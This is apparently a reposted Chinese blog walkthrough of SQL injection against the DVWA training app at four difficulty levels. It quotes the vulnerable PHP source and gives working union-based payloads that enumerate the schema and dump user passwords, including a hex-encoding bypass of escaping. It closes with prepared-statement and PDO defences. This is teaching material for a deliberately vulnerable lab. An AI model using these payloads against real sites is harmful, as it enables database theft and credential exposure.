DVWA [SQL Injection]

Posted 王小帥

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA [SQL Injection]相关的知识,希望对你有一定的参考价值。

DVWA [SQL Injection]

Low

Medium 

High 

Impossible

漏洞防御


Low

是个提交查询的地方,我们输入1 and 1=1,1 and 1=2发现;

发现回显不同,存在sql注入,我们输入1' 报错如下图,得知闭合方式为单引号闭合;

猜测后台sql语句为下:

select Firstname,Surname from 表名 where id = '输入的id'

 源码如下:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到,代码对输入的参数没有进行任何的过滤,所以我们进行Union注入

查看字段数:1' order by 3#

 1' order by 2#

得知字段数为2,爆库和用户:1' union select database(),user() # 

得知库名为dvwa,用户名root@localhost,爆表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #

爆字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #

爆字段,-1' union select user,password from users # 

Medium 

也是个提交查询的地方,但是我们没有输入的地方,选择id进行查询发现,是post提交,我们可以使用BP也可以使用hackbar来控制输入进行sql注入。 

源码:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

mysqli_real_escape_string() 函数:转义在 SQL 语句中使用的字符串中的特殊字符。

这里,我们使用hackbar插件进行输入, 以下所有输入均在post内

id=1 and 1=1&Submit=Submit

id=1 and 1=2&Submit=Submit

回显不同,存在注入,id=1&Submit=Submit,整型闭合。

我们爆库名,用户名:id=1 union select user(),database()#&Submit=Submit

爆表名, id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'#&Submit=Submit

回显如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\'dvwa\\'#' at line 1

原来是mysqli_real_escape_string()函数把我们输入的''给转义了,所以我们转换payload如下:

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#&Submit=Submit

爆列名我们这样: 

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'#&Submit=Submit

但是源码会转义' 所以我们不采用'users',而是采用转换为十六进制后的users得以绕过,如下:

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name=0x7573657273#&Submit=Submit

出结果了 ,

  

爆字段:id=1 union select user,password from users#&Submit=Submit

High 

High级别, 

输入1' 报错 

 输入1' and 1=1#

1' and 1=2#

 

存在字符型注入,爆字段数,

1' order by 3#

1' order by 2#

字段数为2,使用union注入爆库名,用户名如下:-1' union select database(),user() #

爆表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #

爆列名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'# 

爆字段:-1' union select user,password from users #

Impossible

和low级别一样的框框,但是无回显信息,我们查看源码进行分析。

源码如下:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到, 这里引入了Check Anti-CSRF token预防CSRF攻击;对id参数首先进行了is_numeric判断,然后使用了预编译进行处理,最后只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”;所以不存在SQL注入。

漏洞防御

  1. 预编译(PreparedStatement)(JSP):SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。
  2. PDO(PHP):PDO对于解决SQL注入的原理也是基于预编译。
  3. 使用正则表达式过滤,对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤
  4. 使用 Web 应用防火墙
     

 

 

 

 

 

 

以上是关于DVWA [SQL Injection]的主要内容,如果未能解决你的问题,请参考以下文章

dvwa_medium_sql_injection

DVWA学习笔记--06--SQL Injection

DVWA [SQL Injection]

DVWA SQL Injection(Blind)

DVWA——SQL Injection(SQL注入)

DVWA靶场实战——SQL Injection(Blind)